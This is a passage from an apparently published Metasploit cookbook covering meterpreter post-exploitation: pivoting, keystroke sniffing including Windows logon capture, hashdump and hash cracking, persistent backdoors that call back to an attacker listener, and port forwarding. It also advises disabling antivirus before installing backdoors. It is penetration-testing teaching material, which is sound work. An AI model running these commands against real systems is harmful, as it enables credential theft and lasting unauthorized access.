"text": "Chapter 5\n129\nperform pivoting. Pivoting is a concept by which we can compromise other machines on the \nsame network in which our target is present. We will understand pivoting in our next chapter \nwhere we will focus on the advanced use of meterpreter.\nGetting ready\nBefore we get into the recipe, there are three networking terms which we will encounter here. \nSo let us give a quick brush to our memory by looking at the following terms:\nf\nf\nSubnetwork or subnet is the concept of dividing a large network into smaller \nidentifiable parts. Subnetting is done to increase the address utility and security.\nf\nf\nA netmask is a 32-bit mask that is used to divide an IP address into subnets and \nspecify the network's available hosts.\nf\nf\nGateway specifies the forwarding or the next hop IP address over which the set \nof addresses defined by the network destination and subnet mask are reachable.\nWe will be using these three terms when we will deal with the route command.\nHow to do it...\nThere are three networking commands provided by meterpreter. These are ipconfig, \nroute, and portfwd. Let us give a quick look at each of them.\nThe Ipconfig command is used to display all the TCP/IP network configurations of the target \nmachine. It lists information such as the target IP address, hardware MAC, and netmask:\n meterpreter > ipconfig\nReliance\nHardware MAC: 00:00:00:00:00:00\nIP Address : 115.242.228.85\nNetmask : 255.255.255.255\nSoftware Loopback Interface 1\nHardware MAC: 00:00:00:00:00:00\nIP Address : 127.0.0.1\nNetmask : 255.0.0.0\nAs you can see, the output of ipconfig lists the various active TCP/IP configurations.\n"
},
{
"page_number": 145,
"text": "Using Meterpreter to Explore the Compromised Target\n130\nThe next networking command is the route command. It is similar to the route command \nof MS DOS. This command is used to display or modify the local IP routing table on the target \nmachine. Executing the route command lists the current table:\nmeterpreter > route\nNetwork routes\n==============\n Subnet Netmask Gateway\n ------ ------- -------\n 0.0.0.0 0.0.0.0 115.242.228.85\n 115.242.228.85 255.255.255.255 115.242.228.85\n 127.0.0.0 255.0.0.0 127.0.0.1\n 127.0.0.1 255.255.255.255 127.0.0.1\n 127.255.255.255 255.255.255.255 127.0.0.1\n 192.168.56.0 255.255.255.0 192.168.56.1\n 192.168.56.1 255.255.255.255 192.168.56.1\n 192.168.56.255 255.255.255.255 192.168.56.1\n 224.0.0.0 240.0.0.0 127.0.0.1\n 224.0.0.0 240.0.0.0 192.168.56.1\n 224.0.0.0 240.0.0.0 115.242.228.85\n 255.255.255.255 255.255.255.255 127.0.0.1\n 255.255.255.255 255.255.255.255 192.168.56.1\n 255.255.255.255 255.255.255.255 115.242.228.85\nLet us execute the route –h command to figure out how we can modify the table.\nmeterpreter > route –h\nUsage: route [-h] command [args]\nSupported commands:\n add [subnet] [netmask] [gateway]\n delete [subnet] [netmask] [gateway]\nIf you take a look at the output of the ipconfig command, you can figure out that the IP \naddress 115.242.228.85 is used by the target to connect to the Internet. So we can add \na route value to pass the connection through 115.242.228.85 as the gateway. This can \nprovide us a firewall bypass on the target machine:\n"
},
{
"page_number": 146,
"text": "Chapter 5\n131\nmeterpreter > route add 192.168.56.2 255.255.255.255 192.168.56.1\nCreating route 192.168.56.2/255.255.255.255 -> 192.168.56.1\nSimilarly, we can use the delete command to remove a route from the table.\nLet's move to the last networking command—portfwd. This command is used to forward \nincoming TCP and/or UDP connections to remote hosts. Consider the following example to \nunderstand port forwarding.\nConsider host \"A\", host \"B\" (in the middle), and host \"C\". Host A should connect to host C in \norder to do something, but if for any reason it's not possible, host B can directly connect to \nC. If we use host B in the middle, to get the connection stream from A and pass it to B while \ntaking care of the connection, we say host B is doing port forwarding.\nThis is how things will appear on the wire: host B is running a software that opens a TCP listener \non one of its ports, say port 20. Host C is also running a listener that is used to connect to \nhost B when a packet arrives from port 20. So, if A sends any packet on port 20 of B, it will \nautomatically be forwarded to host C. Hence, host B is port forwarding its packets to host C.\nHow it works...\nTo start port forwarding with a remote host we can add a forwarding rule first. Consider the \nfollowing command line:\nMeterpreter> portfwd -a -L 127.0.0.1 -l 444 -h 69.54.34.38 -p 3389\nNotice the different command parameters. With the –a parameter we can add a new port \nforwarding rule. The -L parameter defines the IP address to bind a forwarded socket to. As \nwe're running these all on host A, and want to continue our work from the same host, we set \nthe IP address to 127.0.0.1.\n-l is the port number which will be opened on host A, for accepting incoming connections. \n-h defines the IP address of host C, or any other host within the internal network. -p is the \nport you want to connect to, on host C.\nThis was a simple demonstration of using port forwarding. This technique is actively used to \nbypass firewalls and intrusion detection systems.\nThe getdesktop and keystroke sniffing\nIn this recipe, we will deal with some of the stdapi user interface commands associated \nwith desktops and keystroke sniffing. Capturing the keystrokes depends on the current active \ndesktop, so it is essential to understand how we can sniff different keystrokes by switching \nbetween processes running in different desktop active sessions. Let us move ahead with the \nrecipe to understand this deeply.\n"
},
{
"page_number": 147,
"text": "Using Meterpreter to Explore the Compromised Target\n132\nHow to do it...\nLet us start with executing some of the user interface commands which we will primarily deal \nwith in this recipe. They are as follows:\nf\nf\nenumdesktops: This command will list all the accessible desktops and window \nstations.\nmeterpreter > enumdesktops\nEnumerating all accessible desktops\nDesktops\n========\n Session Station Name\n ------- ------- ----\n 0 WinSta0 Default\n 0 WinSta0 Disconnect\n 0 WinSta0 Winlogon\n 0 SAWinSta SADesktop\nHere you can see that all the available desktop stations are associated with session \n0. We will see in a while what exactly we mean by session 0.\nf\nf\ngetdesktop: This command returns the current desktop in which our meterpreter \nsession is working. \nmeterpreter > getdesktop\nSession 0\\Service-0x0-3e7$\\Default\nYou can relate the output of the getdesktop command with enumdesktops \nto understand about the current desktop station in which we are working. \nf\nf\nsetdesktop: This command is used to change the current meterpreter desktop \nto another available desktop station.\nf\nf\nkeyscan_start: This command is used to start the keystroke sniffer in the current \nactive desktop station.\nf\nf\nkeyscan_dump: This command dumps the recorded keystrokes of the active \nmeterpreter desktop session.\nLet us now analyze how these commands work in a real-time scenario and how we can sniff \nkeystrokes through different desktop stations. \n"
},
{
"page_number": 148,
"text": "Chapter 5\n133\nHow it works...\nBefore we proceed further with the recipe, there is an important concept about Windows \ndesktop that we will look at.\nWindows desktop is divided into different sessions in order to define the ways we can interact \nwith the Windows machine. Session 0 represents the console. The other sessions —Session 1, \nSession 2, and so on represent remote desktop sessions.\nSo, in order to capture the keystrokes of the system we broke in to, we must work in desktop \nSession 0:\n(desktop)\nSession 0\nWinSta0\n(desktop)\n(interactive window station)\n(desktop)\n(desktop)\n(Non-interactive window station)\n(desktop)\n(desktop)\nDefault\nSAWinSta\nService-0x0-3e4$\nService-0x0-3e7$\nDisconnect\nWinlogon\nDefault\n(Non-interactive window station)\nDefault\n(desktop)\n(Non-interactive window station)\nDefault\nEvery Windows desktop session comprises of different stations. In the preceding diagram, \nyou can see different stations associated with Session 0. Out of these stations, WinSta0 \nis the only interactive station. This means that the user can interact with only the WinSta0 \nstation. All the other stations are non-interactive. Now WinSta0 consists of three different \ndesktops namely Default, Disconnect, and Winlogon. The Default desktop is associated with \nall the applications and tasks that we perform on our desktop. The Disconnect desktop is \nconcerned with the screensaver lock desktop. The Winlogon desktop is concerned with the \nWindows login screen.\nThe point to note here is that each desktop has its own keyboard buffer. So, if you have to \nsniff the keystrokes from the Default desktop, you will have to make sure that your current \nmeterpreter active browser is set to Session 0/WinSta0/Default. If you have to sniff the \nlogon password then you will have to change the active desktop to Session 0/WinSta0/\nWinlogon. Let us take an example to make it clearer.\n"
},
{
"page_number": 149,
"text": "Using Meterpreter to Explore the Compromised Target\n134\nLet's check our current desktop using the getdesktop command:\nmeterpreter > getdesktop\nSession 0\\Service-0x0-3e7$\\Default\nAs you can see, we are not in the WinSta0 station which is the only interactive desktop \nstation. So if we run a keystroke capturing here then it won't return any result. Let's change \nour desktop to WinSta0\\Default:\nmeterpreter > setdesktop\nChanged to desktop WinSta0\\Default\nmeterpreter > getdesktop\nSession 0\\WinSta0\\Default\nThe preceding command line shows that we moved to the interactive Windows desktop \nstation by using the setdesktop command. So, now we are ready to run a keystroke \nsniffer to capture the keys pressed by the user on the target machine:\nmeterpreter > keyscan_start\nStarting the keystroke sniffer...\nmeterpreter > keyscan_dump\nDumping captured keystrokes...\ngmail.com daklord 123123\nLooking at the dumped keystrokes, you can clearly identify that the target user went to \ngmail.com and entered his credentials to login.\nWhat if you want to sniff the windows login password? Obviously, you can switch your active \ndesktop to WinSta0\\Winlogon using the setdesktop command but here we will discuss \nan alternate approach as well. We can migrate to a process which runs during Windows logon. \nLet us execute the ps command to check the running processes.\nYou will find winlogon.exe running as a process with a process id. Let us assume that the \nprocess ID (PID) of winlogon.exe is 1180. Now let's migrate to this PID and check our \nactive desktop again:\nmeterpreter > migrate 1180\n[*] Migrating to 1180...\n[*] Migration completed successfully.\n"
},
{
"page_number": 150,
"text": "Chapter 5\n135\nmeterpreter > getdesktop\nSession 0\\WinSta0\\Winlogon\nYou can see that our active desktop has changed to WinSta0\\Winlogon. Now we can run \nthe keyscan_start command to start sniffing the keystrokes on the Windows logon screen.\nSimilarly, we can get back to the Default desktop by migrating to any process that is running \non the default desktop. Consider explorer.exe with PID 884:\nmeterpreter > migrate 884\n[*] Migrating to 884...\n[*] Migration completed successfully.\nmeterpreter > getdesktop\nSession 0\\WinSta0\\Default\nYou might have noticed the importance of migrating to different processes and desktop \nenvironments for sniffing keystrokes. Generally, people get no results when they directly \nrun keyscan without giving a look at the current active desktop. This is because the \nprocess in which they have penetrated might belong to a different session or station. \nSo keep this concept of desktop in mind while working with keystroke sniffing.\nUsing a scraper meterpreter script\nSo far, we learned about several meterpreter commands. Here, we will take a look at an \nimportant meterpreter script which can help us in exploring our target deeper. The next \nchapter extensively covers meterpreter scripts so here we will just focus on using the script. \nDuring penetration testing, you might require lot of time to dig out information on the target. \nSo having a local backup of useful information can be really handy for penetration testers \nso that even if the target is down, they still have information to work on. It also makes \nsharing of information with other testers easy. Scraper accomplishes this task for us.\nGetting ready\nThe scraper meterpreter script can dig out lots of information about the compromised target \nsuch as registry information, password hashes, and network information, and store it locally \non the tester's machine.\nIn order to execute a Ruby script on the target using meterpreter, we can use the run \ncommand. Executing the run scraper –h command will list the various available \nparameters we can pass with the script. Let's move ahead and analyze how we can \ndownload the information locally.\n"
},
{
"page_number": 151,
"text": "Using Meterpreter to Explore the Compromised Target\n136\nHow to do it...\nThe script does everything automatically after it is executed. It creates a directory \nunder /root/.msf4/logs/scripts/scraper where all the files are saved. \nYou might notice an error during the script execution which can be because a command \nmay fail to execute on the target (the command line output has been shortened to fit):\nmeterpreter > run scraper\n[*] New session on 192.168.56.1:4232...\n[*] Gathering basic system information...\n[*] Error dumping hashes: Rex::Post::Meterpreter::RequestError priv_\npasswd_get_sam_hashes: Operation failed: The parameter is incorrect.\n[*] Obtaining the entire registry...\n[*] Exporting HKCU\n[*] Downloading HKCU (C:\\Users\\DARKLORD\\AppData\\Local\\Temp\\UKWKdpIb.reg)\nThe script automatically downloads and saves the information in the destination folder. \nLet us take a look at the source code to analyze if we can make some changes according \nto our needs.\nHow it works...\nThe source code for scraper.rb is present under /pentest/exploits/framework3/\nscripts/meterpreter.\nRuby coding experience can help you in editing the scripts to add your own features. \nWe can change the download location by editing the following line:\nlogs = ::File.join(Msf::Config.log_directory, 'scripts','scraper', \nhost + \"_\" + Time.now.strftime(\"%Y%m%d.%M%S\")+sprintf(\"%.5d\",ra\nnd(100000)) )\nSuppose you want to obtain the result of a list of available processes as well, then you can \nsimply add the following line of code in the main body of the program:\n::File.open(File.join(logs, \"process.txt\"), \"w\") do |fd|\n fd.puts(m_exec(client, \"tasklist\"))\n end\nBy using a little bit of Ruby language and code reuse, you can easily modify the code to fit \naccording to your needs.\n"
},
{
"page_number": 152,
"text": "Chapter 5\n137\nThere's more...\nLet us learn about another meterpreter script that can be used for collecting information \nfrom the target machine.\nUsing winenum.rb\nwinenum.rb is another meterpreter script that can help you collect information about \nthe target and download it locally. It works similar to scraper.rb. You can try out this \nscript as well to see what extra information it can provide. The script can be found at the \nfollowing location:\n/pentest/exploits/framework3/scripts/meterpreter/winenum.rb\n"
},
{
"page_number": 153,
"text": ""
},
{
"page_number": 154,
"text": "6\nAdvanced Meterpreter \nScripting\nIn this chapter, we will cover:\nf\nf\nPassing the hash\nf\nf\nSetting up a persistent connection with backdoors\nf\nf\nPivoting with meterpreter\nf\nf\nPort forwarding with meterpreter\nf\nf\nMeterpreter API and mixins\nf\nf\nRailgun – converting ruby into a weapon\nf\nf\nAdding DLL and function definitions to Railgun\nf\nf\nBuilding a \"Windows Firewall De-activator\" meterpreter script\nf\nf\nAnalyzing an existing meterpreter script\nIntroduction\nIn the previous chapter, we learned about several powerful meterpreter commands which can \nbe very helpful in post-exploitation. Meterpreter adds a lot of flexibility to the post-exploitation \nprocess by providing a very interactive and useful command interpreter. It not only eases the \ntask, but also makes it more powerful and comprehensive.\nIn this chapter, we will take meterpreter a step ahead by learning some advanced concepts. \nSo far, we have been using various commands and scripts that Metasploit provides to us, but \nduring the process of penetration testing, a situation may arise when you will have to add your \nown scripts to meterpreter. The modular architecture of the platform makes it very easy to \ndevelop and integrate your own scripts and modules.\n"
},
{
"page_number": 155,
"text": "Advanced Meterpreter Scripting\n140\nWe will start this chapter by learning some advanced meterpreter functionalities such as \npassing the hash, pivoting, port forwarding, and so on. Then, we will move to developing \nour own meterpreter scripts. In order to understand this chapter completely, you should be \naware of the basic Ruby concepts. Even a basic idea about the Ruby language can help you \nin building smart meterpreter scripts. In order to facilitate the readers, I will start with some \nbasic development concepts. Then, we will analyze some existing Ruby codes and see how \nwe can reuse them or edit them according to our needs. Then, we will learn to develop our \nown simple \"Windows Firewall De-activator\" meterpreter script.\nThe chapter will enhance your understanding about the platform in detail. So let us move \nahead and start working out the recipes.\nPassing the hash\nPassing the hash or hashdump is the process of extracting the Windows logon hash files. \nHashdump meterpreter script extracts and dumps the password hashes from the target \nmachine. Hashes can be used to crack the logon passwords and gain authorized entry into \nother systems on the LAN for future pen tests.\nGetting ready\nBefore starting with the recipe, let us first understand about Windows passwords and their \nstorage format.\nWhen you type your password into the Windows Logon screen, it encrypts your password using \nan encryption scheme that turns your password into something that looks like this:\n7524248b4d2c9a9eadd3b435c51404ee\nThis is a password hash. This is what is actually being checked against when you type your \npassword in. It encrypts what you typed and bounces it against what is stored in the registry \nand/or SAM file.\nThe SAM file holds the usernames and password hashes for every account on the local \nmachine, or domain if it is a domain controller. It can be found on the hard drive in the folder \n%systemroot%system32config.\nHowever, this folder is locked to all accounts including Administrator while the machine is \nrunning. The only account that can access the SAM file during operation is the \"System\" \naccount. So, you will have to keep in mind that you need an escalated privilege while you \nare trying to dump the hashes.\nHashes will appear completely alien to you as they are encrypted text. Windows uses the \nNTLM (NT LAN Manager) security protocol to provide authentication. It is the successor \nof the LM protocol which was used in the older versions of Windows.\n"
},
{
"page_number": 156,
"text": "Chapter 6\n141\nIn order to decode the dumped hashes, we will require a NTLM/LM decryptor. There are \ndifferent tools available for it. Some of them use a brute force technique (John the riper, \npwdump) while some use rainbow tables (rainbow crack).\nHow to do it...\nWe will start with an active meterpreter session. I am assuming that you have penetrated the \ntarget and gained a meterpreter session. You can refer to recipes in Chapter 4, Client-side \nExploitation and Antivirus Bypass for more details on compromising a windows machine. \nThe use of script is simple and straightforward. Let us first check our privilege on the target \nmachine. We must have the system privilege in order to extract the hashes. We will be using \nthe getuid command to know our current privilege level. To escalate our privilege, we will \nuse the getsystem command.\nmeterpreter > getuid\nServer username: DARKLORD-PC\\DARKLORD\nmeterpreter > getsystem\n...got system (via technique 4).\nmeterpreter > getuid\nServer username: NT AUTHORITY\\SYSTEM\nHow it works...\nNow we have system privileges on the target, so we can move ahead and try the \nhashdump script.\nmeterpreter > run hashdump\n[*] Obtaining the boot key...\n[*] Calculating the hboot key using SYSKEY \n78e1241e98c23002bc85fd94c146309d...\n[*] Obtaining the user list and keys...\n[*] Decrypting user keys...\n[*] Dumping password hashes...\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59\nd7e0c089c0:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08\n9c0:::\nDARKLORD:1000:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204b\neb12283678:::\n"
},
{
"page_number": 157,
"text": "Advanced Meterpreter Scripting\n142\nYou can see that the script has successfully extracted the password hashes from the SAM file. \nNow we can use different tools to crack this hash. Some of the well-known tools are John the \nriper, pwdump, rainbow crack, and so on.\nThere's more...\nLet us look at an alternate method of decrypting the hash, other than using the tools \ndiscussed earlier.\nOnline password decryption\nThere is a very popular website for decrypting the NTLM/LM hashes http://www.\nmd5decrypter.co.uk/. It finds out the password by matching the hash with its huge \ndatabase of hashes to find a match. It is an effective and fast technique for breaking simple \nand weak passwords. The following screenshot shows the result of decoding the hash that \nwe dumped previously:\nAs you can see, a match has been found for our input hash and the corresponding readable \npassword is 123.\nA point to note here is that cracking passwords depends totally upon the strength of it. \nA weaker password will be fairly easy to crack compared to a complex one. Complex \npasswords will generate hashes which are not present in the online databases. Hence, \nconsider using rainbow table-based crackers. More information on this subject can be \nfound at the following URL:\nhttp://bernardodamele.blogspot.in/#!http://bernardodamele.blogspot.\ncom/2011/12/dump-windows-password-hashes.html.\n"
},
{
"page_number": 158,
"text": "Chapter 6\n143\nSetting up a persistent connection with \nbackdoors\nWe started this book with a pre-exploitation technique where we focused on information \ngathering. Then, we moved ahead to the exploitation phase where we learned different ways \nof compromising the target. Then, we learned some useful post-exploitation techniques that \ncan be implemented after compromising the target. Now, in this recipe we will learn the ever-\nexploitation technique in which we will try to establish a persistent connection with our target, \nso that we can connect to it at our will. As the attacker, or the target machine, cannot be always \navailable, backdooring the target can be effective for setting persistent connections.\nGetting ready\nMeterpreter provides us with two scripts which can perform the task of backdooring \nthe target. They are Metsvc and Persistence. The working of both the scripts is similar. \n Let us deal with both these scripts one by one.\nBoth these meterpreter scripts create files on the target system so it can \ntrigger alarms in the antivirus. So it is recommended to kill the antivirus \nprogram before running these scripts.\nHow to do it...\nThe Metsvc script works by creating temporary files such as the DLLs, the backdoor server, \nand the service on the target machine. The script can also start a matching multi/handler to \nautomatically connect back to the backdoor. –A parameter is used for this purpose. Let us \nrun the script on our Windows 7 target machine and analyze the result.\nmeterpreter > run metsvc -h\nOPTIONS:\n -A Automatically start a matching multi/handler to connect to \nthe service\n -h This help menu\n -r Uninstall an existing Meterpreter service (files must be \ndeleted manually)\nmeterpreter > run metsvc –A\n"
},
{
"page_number": 159,
"text": "Advanced Meterpreter Scripting\n144\n[*] Creating a meterpreter service on port 31337\n[*] Creating a temporary installation directory C:\\Users\\DARKLORD\\\nAppData\\Local\\Temp\\ygLFhIFX...\n[*] >> Uploading metsrv.dll...\n[*] >> Uploading metsvc-server.exe...\n[*] >> Uploading metsvc.exe...\n[*] Starting the service...\n\t\n * Installing service metsvc\n * Starting service\nService metsvc successfully installed.\nOnce the backdoor files are uploaded successfully, it will automatically connect back to \nthe multi/handler on port 31337. Using this backdoor, we can easily connect to the target \nmachine at our will. \nAnother useful backdooring script to look for is the persistence script. It works similar \nto Metscv, but it has some extra features like connecting back to the target at regular \nintervals, connecting back on system boot, autorun, and so on. Let us look at the different \noptions available to us.\nmeterpreter > run persistence –h\nMeterpreter Script for creating a persistent backdoor on a target host.\nOPTIONS:\n -A Automatically start a matching multi/handler to..\n -L Location in target host where to write payload to..\n -P Payload to use, default is \n -S Automatically start the agent on boot as a service \n -T Alternate executable template to use\n -U Automatically start the agent when the User logs on\n -X Automatically start the agent when the system boots\n -h This help menu\n -i The interval in seconds between each connection \n -p The port on the remote host where Metasploit..\n -r The IP of the system running Metasploit listening..\n"
},
{
"page_number": 160,
"text": "Chapter 6\n145\nAs you can see it has some extra options compared to Metsvc. Let us execute the script and \npass different parameters according to our requirements.\nmeterpreter > run persistence -A -S -U -i 60 -p 4321 –r 192.168.56.101\n[*] Running Persistance Script\n[*] Resource file for cleanup created at /root/.msf4/logs/persistence/\nDARKLORD-PC_20111227.0307/DARKLORD-PC_20111227.0307.rc\n[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.56.101 \nLPORT=4321\n[*] Persistent agent script is 610795 bytes long\n[+] Persistent Script written to C:\\Users\\DARKLORD\\AppData\\Local\\Temp\\\nLHGtjzB.vbs\n[*] Starting connection handler at port 4321 for windows/meterpreter/\nreverse_tcp\n[+] Multi/Handler started!\n[*] Executing script C:\\Users\\DARKLORD\\AppData\\Local\\Temp\\LHGtjzB.vbs\n[+] Agent executed with PID 5712\n[*] Installing into autorun as HKCU\\Software\\Microsoft\\Windows\\\nCurrentVersion\\Run\\DBDalcOoYlqJSi\n[+] Installed into autorun as HKCU\\Software\\Microsoft\\Windows\\\nCurrentVersion\\Run\\DBDalcOoYlqJSi\n[*] Installing as service..\n[*] Creating service cpvPbOfXj\nHow it works...\nNotice the different parameters passed along with the script. The –A parameter automatically \nstarts a listener on the attacking machine. The –S operator sets the backdoor to load every \ntime Windows boots up. The –U operator executes the backdoor every time the user logs into \nthe system. The –i operator sets the interval after which the backdoor will try to connect back \nto the agent handler. –p is the port number and –r is the IP address of the target machine. \nThe output of the script execution also contains some useful information. The script has \ncreated a resource file for cleanup so that you can remove the backdoor after use. The script \nhas created a vbs file in the temp folder on the target machine. Also it has created registry \nentries to auto load the backdoor every time Windows boots. \nWe have provided an interval of 60 seconds for the backdoor to connect back to the agent \nhandler. After successful execution of the script, you will see that at an interval of 60 seconds \na meterpreter session will be opened automatically on the target machine.\nThis quick demonstration explains how we can set up a persistent connection with our target \nmachine. You can try out different scenarios with these two scripts and analyze its working. \nIn the next recipe, we will focus on another interesting concept called pivoting.\n"
},
{
"page_number": 161,
"text": "Advanced Meterpreter Scripting\n146\nPivoting with meterpreter\nSo far, we have covered most of the major meterpreter commands and script. You must have \nnoticed how powerful meterpreter can be during post exploitation phase. In this recipe, we \nwill discuss one of the coolest and my favorite concept called pivoting. Let us begin with the \nrecipe by first understanding the meaning of pivoting, why is it needed and at last how can \nMetasploit be useful for pivoting.\nGetting ready\nBefore starting with the recipe, let us first understand pivoting in detail. Pivoting refers to the \nmethod used by penetration testers that uses a compromised system to attack other systems \non the same network. This is a multi-layered attack in which we can access even those areas \nof the network which are only available for local internal use such as the intranet. Consider \nthe scenario shown in the following diagram.\nAttacker\nInternet\nCompromised\nSystem\nServer\nF\nI\nR\nE\nW\nA\nL\nL\nThe attacker can compromise the outside nodes of a network which are connected to the \nInternet. These nodes are then connected with a firewall. Behind the firewall is the main \nserver. Now since the attacker has no access to the server, he can use the nodes as a \nmedium to access it. If the attacker can successfully compromise the node then it can further \npenetrate the network to reach up to the server as well. This is a typical scenario that involves \npivoting. The red lines in the diagram show the pivoted path set up between the attacker and \nserver through the compromised node. In this recipe, we will be using some of the meterpreter \nnetworking commands which we learned in the previous chapter.\n"
},
{
"page_number": 162,
"text": "Chapter 6\n147\nHow to do it...\nLet us see how we can implement the previously discussed scenario using meterpreter.\nIn this example, our target node is a Windows 7 machine which is connected to a network. \nThe server is running on Windows 2003. The node has been compromised by using client-side \nbrowser vulnerability and we have an active meterpreter connection established. Let us start \nwith running an ipconfig on the target node to see the available interfaces on it.\nmeterpreter > ipconfig\nInterface 1\nHardware MAC: 00:00:00:00:00:00\nIP Address: 10.0.2.15\nNetmask : 255.255.255.0\nVirtualBox Host-Only Ethernet Adapter\nHardware MAC: 08:00:27:00:8c:6c\nIP Address : 192.168.56.1\nNetmask : 255.255.255.0\nAs you can see, the target node has two interfaces. One is 192.168.56.1 which is connected \nto the Internet and the other is 10.0.2.15 which is the IP interface for the internal network. \nOur next aim will be to find what other systems are available in this local network. To do this \nwe will use a meterpreter script called arp_scanner. This script will perform an ARP scan \non the internal network to find out other available systems.\nmeterpreter > run arp_scanner -r 10.0.2.1/24\n[*] ARP Scanning 10.0.2.1/24\n[*] IP: 10.0.2.7 MAC 8:26:18:41:fb:33\n[*] IP: 10.0.2.9 MAC 41:41:41:41:41:41\nSo the script has successfully discovered two available IP addresses on the network. \nLet us pick up the first IP address and perform pivoting on it. \nHow it works...\nIn order to access the system (which is the server) with IP 10.0.2.7, we will have to route all \nthe packets through the IP 10.0.2.15 which is the target node.\n"
},
{
"page_number": 163,
"text": "Advanced Meterpreter Scripting\n148\nTo do this, we will use a command named route. We have learned about this command \nin our previous chapter as well. To use this command, we will background the current \nmeterpreter session.\nmeterpreter > background\nmsf exploit(handler) > route add 10.0.2.15 255.255.255.0 1\n[*] Route added\nmsf exploit(handler) > route print\nActive Routing Table\n====================\n Subnet Netmask Gateway\n ------ ------- -------\n 10.0.2.15 255.255.255.0 Session 1\nLook at the parameters of the route command. The add parameter will add the details into \nthe routing table. Then we have provided the IP address of the target node and the default \ngateway. Then at last, we have provided the current active meterpreter session ID (which is 1). \nThe route print command shows the table and you can clearly see that all the traffic sent \nthrough this network will now pass through the meterpreter session 1. \nNow you can do a quick port scan on the IP address 10.0.2.7 which was previously \nunreachable for us but now we have routed our packets through the target node so we \ncan easily figure out the open ports and services. Once you have figured out that it is \nrunning a Windows 2003 server, you can go ahead and use the exploit/windows/smb/\nms08_067_netapi or any other OS based exploit to compromise the server or access \nits services.\nPort forwarding with meterpreter\nDiscussion of pivoting is never complete without talking about port forwarding. In this recipe, \nwe will continue from our previous recipe on pivoting and see how we can port forward the \ndata and request from the attacking machine to the internal network server via the target \nnode. An important thing to note here is that we can use the port forwarding to access various \nservices of the internal server, but if we have to exploit the server then we will have to use the \ncomplete concept discussed in the previous recipe.\n"
},
{
"page_number": 164,
"text": "Chapter 6\n149\nGetting ready\nWe will start from the same scenario which we discussed in the previous recipe. We have \ncompromised the target node which is a Windows 7 machine and we have added the route \ninformation to forward all the data packets sent on the network through the meterpreter \nsession. Let us take a look at the route table.\nmsf exploit(handler) > route print\nActive Routing Table\n====================\n Subnet Netmask Gateway\n ------ ------- -------\n 10.0.2.15 255.255.255.0 Session 1\nSo our table is all set. Now we will have to set up port forwarding so that our request relays \nthrough to reach the internal server.\nHow to do it...\nSuppose the internal server is running a web service on port 80 and we want to access it \nthrough port forwarding. Now, to do this, we will use the portfwd command. Let us check \nthe available options with this command then pass the relevant values.\nmeterpreter > portfwd -h\nUsage: portfwd [-h] [add | delete | list | flush] [args]\nOPTIONS:\n -L The local host to listen on (optional).\n -h Help banner.\n -l The local port to listen on.\n -p The remote port to connect to.\n -r The remote host to connect to.\nmeterpreter > portfwd add -l 4321 -p 80 -r 10.0.2.7\n[*] Local TCP relay created: 0.0.0.0:4321 <-> 10.0.2.7:80\n"
},
{
"page_number": 165,
"text": "Advanced Meterpreter Scripting\n150\nSuccessful execution of the command shows that a local TCP relay has been set up between \nthe attacker and the internal server. The listener port on the attacker machine is 4321 and \nthe service to access on the internal server is on port 80.\nAs we have already set the route information, the entire relay happens transparently. \nNow, if we try to access the internal server through our browser by using the URL \nhttp://10.0.2.7:80 then we will be directed to the http intranet service of the \ninternal network.\nPort forwarding can be very handy in situations when you have to run commands \nor applications that Metasploit does not provide. In such situations, you can use \nport forwarding to ease up your task. \nThis was a small demonstration of port forwarding. In the next recipe we will start with Ruby \nprogramming to develop our own meterpreter scripts. \nHow it works...\nPort forwarding works on a simple concept of providing a restricted service from an unsecure \nlocation or network. An authenticated or reliable system/software can be used to set up \na communication medium between the unsecure and secure network. We have already \ndiscussed a simple use of port forwarding in the first chapter where we talked about \nsetting Metasploit on a virtual machine and connecting it with the host operating system \nusing PuTTY.\nFirewall\nblocking access\nto port 6667\nssh server\nport 22\naccess blocked\naccess ok\nIRC server\nport 6667\nlocalhost\nport 1234\ntunnel created\nFirewall\nblocking access\nto port 6667\nssh server\nport 22\nIRC server\nport 6667\n"
},
{
"page_number": 166,
"text": "Chapter 6\n151\nThe preceding diagram demonstrates the process of port forwarding with a simple example. \nThe outside source wants to access the IRC server running on port 6667, but the firewall is \nconfigured to block any outside access to port 6667(red line in the diagram). So, the external \nsource connects to an SSH server (for example, PuTTY) running on port 22 which is not \nblocked by the firewall. This will provide a firewall bypass to the external source and now it can \naccess the IRC server through port forwarding from port 22 to port 6667. Hence, an access \ntunnel is created (blue line in the diagram) as a result of port forwarding.\nMeterpreter API and mixins\nIn the past one and a half chapters, we have learned extensively about using meterpreter \nas a potential post exploitation tool. You might have realized the important role of meterpreter \nto make our penetration task easier and faster. Now, from this recipe, we will move ahead \nand discuss some advanced concepts related to meterpreter. We will dive deeper into the \ncore of Metasploit to understand how meterpreter scripts function and how we can build \nour own scripts.\nFrom a penetration tester's point of view it is very essential to know how to implement our \nown scripting techniques so as to fulfill the needs of the scenario. There can be situations \nwhen you have to perform tasks where the meterpreter may not be enough to solve your task. \nSo you can't sit back. This is where developing our own scripts and modules become handy. \nSo let us start with the recipe. In this recipe, we will discuss about meterpreter API and some \nimportant mixins, and then in later recipes, we will code our own meterpreter scripts.\nGetting ready\nMeterpreter API can be helpful for programmers to implement their own scripts during \npenetration testing. As the entire Metasploit framework is built using Ruby language, an \nexperience in Ruby programming can enhance your penetration experience with Metasploit. \nWe will be dealing with Ruby scripts in the next few recipes so some Ruby programming \nexperience will be required ahead. Even if you have a basic understanding of Ruby and \nother scripting languages then it will be easy for you to understand the concepts.\nDownloading the example code\nYou can download the example code files for all Packt books you have \npurchased from your account at http://www.packtpub.com. \nIf you purchased this book elsewhere, you can visit http://www.\npacktpub.com/support and register to have the files e-mailed \ndirectly to you.\n"
},
{
"page_number": 167,
